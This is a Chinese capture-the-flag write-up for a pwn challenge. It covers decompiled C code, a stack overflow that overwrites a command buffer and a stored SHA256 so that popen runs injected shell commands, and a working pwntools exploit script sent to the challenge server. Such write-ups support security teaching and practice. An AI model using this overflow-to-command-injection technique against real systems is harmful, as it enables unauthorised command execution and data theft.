正文
缺少libc动态链接文件, 搜索一下是openssl的一个开源库, 实现加密算法, 找不到方便的解决方法, 直接连服务器打题
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char *v3; // rax
unsigned __int8 *v4; // rbp
char *v5; // rbx
__int64 v6; // rcx
char *v7; // rdi
unsigned int v8; // er12
FILE *v9; // rbp
size_t v11; // [rsp+0h] [rbp-308h] BYREF
char *lineptr; // [rsp+8h] [rbp-300h] BYREF
char dest[256]; // [rsp+10h] [rbp-2F8h] BYREF
char v14[27]; // [rsp+110h] [rbp-1F8h] BYREF
char v15[65]; // [rsp+12Bh] [rbp-1DDh] BYREF
_BYTE v16[32]; // [rsp+16Ch] [rbp-19Ch] BYREF
char v17[64]; // [rsp+18Ch] [rbp-17Ch] BYREF
int v18; // [rsp+1CCh] [rbp-13Ch] BYREF
char s[264]; // [rsp+1D0h] [rbp-138h] BYREF
unsigned __int64 v20; // [rsp+2D8h] [rbp-30h]
v20 = __readfsqword(0x28u);
sub_E60(dest, a2, a3);
v11 = 0LL;
lineptr = 0LL;
if ( getline(&lineptr, &v11, stdin) == -1 )
return 1;
v3 = strrchr(lineptr, 10);
if ( !v3 )
return 1;
*v3 = 0;
v4 = v16;
v5 = v17;
strcpy(dest, lineptr);
sub_DD0(dest, v16, 256LL);
do
{
v6 = *v4;
v7 = v5;
v5 += 2;
++v4;
snprintf(v7, 3uLL, "%02x", v6);
}
while ( v5 != (char *)&v18 );
v8 = strcmp(v15, v17);
if ( v8 )
{
puts("wrong password!");
return 1;
}
v9 = popen(v14, "r");
if ( !v9 )
return 1;
while ( fgets(s, 256, v9) )
printf("%s", s);
fclose(v9);
return v8;
}
涉及的函数解析
strchr
C 库函数 char *strchr(const char *str, int c)
在参数 str 所指向的字符串中搜索第一次出现字符 c(一个无符号字符)的位置
所以是将输入按换行符截断
sub_DD0
函数是对输入的字符串做SHA256处理, 保存在v16中
这里有溢出漏洞, 不过不是溢出到ret_addr, 而是可以溢出覆盖栈的数据
popen
搜索一下popen函数
头文件:#include <stdio.h>
定义函数:FILE * popen(const char * command, const char * type);
函数说明:popen()会调用fork()产生子进程,然后从子进程中调用/bin/sh -c 来执行参数command 的指令。
都相当于后门了, 所以这是个关键, 可以执行shell(command)
然后比较v15 和 v17字符串
再看看几个关键变量, dest, v14, v15, v17
从后往前逆向分析, 看到一开始dest会设置0x100个0, 然后是/bin/cat ./secret_data.asc
和9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127
漏洞利用
所以至此利用思路大致有个方向, 可以dest溢出覆盖v14, v15, v16, v17, 通过检测, 然后到达popen(command)执行popen(“ls;”)查看服务器上的文件列表, 应该会有flag文件, 然后再popen(“cat flag;”), 注意需要保留分号";", 而且popen函数通过调用fork产生一个子进程,通过shell执行传入的命令,这个进程必须通过pclose函数关闭,而不能是fclose函数
为了知道具体怎么操作, 需要彻底弄清程序的执行流
搜索得知_BYTE == unsigned char
, 而v16是存储dest字符串哈希之后的结果, 而这个循环是将v16无符号数逐字节复制到v17数组, 然后底下要v15和v17比较, v15没有被程序操作, 但是要通过检测, 所以可以溢出到v15, 使得v17与v15相等, 也就是输入的字符串的哈希值, 溢出的同时使得v14 == "ls;" / "cat flag;"
, 即可执行命令
细化利用步骤
(1) 设置特定dest == b’z’ * 256
(2) 设置v14 == command
(3) 计算dest的SHA256值, 在溢出的同时设置给v15
(4) 通过if判断, 执行popen
(5) 得到文件列表
(6) 再次执行exp拿到flag
from pwn import *
import hashlib
context.log_level = "debug"
URL, PORT = "111.200.241.244", 53414
io = remote(URL, PORT)
padding = b'z' * 0x100
# payload = padding + b"ls;".ljust(27, b' ') + hashlib.sha256(padding).hexdigest().encode()
payload = padding + b"cat flag.txt;".ljust(27, b' ') + hashlib.sha256(padding).hexdigest().encode()
io.sendline(payload)
io.interactive()
总结
(1) popen函数
头文件:#include <stdio.h>
定义函数:FILE * popen(const char * command, const char * type);
函数说明:popen()会调用fork()产生子进程,
然后从子进程中调用/bin/sh -c 来执行参数command 的指令。
(2) _BYTE
_BYTE == unsigned char
(3) strchr
C 库函数 char *strchr(const char *str, int c) 在参数 str 所指向的字符串中搜索第一次出现字符 c(一个无符号字符)的位置
(4) python3 str 和 bytes 的相互转换
s = "test"
b = s.encode()
s = b.decode()